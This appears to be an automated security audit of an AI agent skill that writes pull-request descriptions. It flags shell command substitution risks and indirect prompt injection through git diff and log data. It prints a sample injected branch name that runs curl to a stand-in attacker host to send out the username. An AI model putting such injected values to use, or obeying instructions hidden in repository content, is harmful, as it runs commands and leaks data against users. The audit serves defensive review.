cmd-pr-description
Fail
Audited by Gen Agent Trust Hub on Apr 29, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill uses shell command substitution
$(cat PR_DESCRIPTION.md)to pass AI-generated content into thegh pr editandgh pr createcommands. If the AI generates a description containing shell-sensitive characters such as backticks or subshell syntax (e.g.,$(...)), the local shell will execute those commands with the privileges of the user. - [COMMAND_EXECUTION]: User-provided input for the base branch name is directly interpolated into multiple shell commands, such as
git diff $BASE_BRANCHandgit rev-parse --verify "$BASE_BRANCH". While some instances are quoted, others are not, allowing for shell command injection if a malicious branch name is provided (e.g.,main; curl http://attacker.com/$(whoami)). - [PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection (Category 8).
- Ingestion points: The skill reads untrusted data from the repository using
git diffandgit loginSKILL.md. - Boundary markers: There are no delimiters or instructions provided to the agent to treat the diff/log data as untrusted or to ignore embedded instructions.
- Capability inventory: The skill has the capability to write files (
PR_DESCRIPTION.md), commit changes, push to remote repositories, and interact with GitHub via theghCLI. - Sanitization: There is no validation, escaping, or sanitization of the data retrieved from the git history before it is processed by the AI or used in subsequent shell commands.
Recommendations
- AI detected serious security threats
Audit Metadata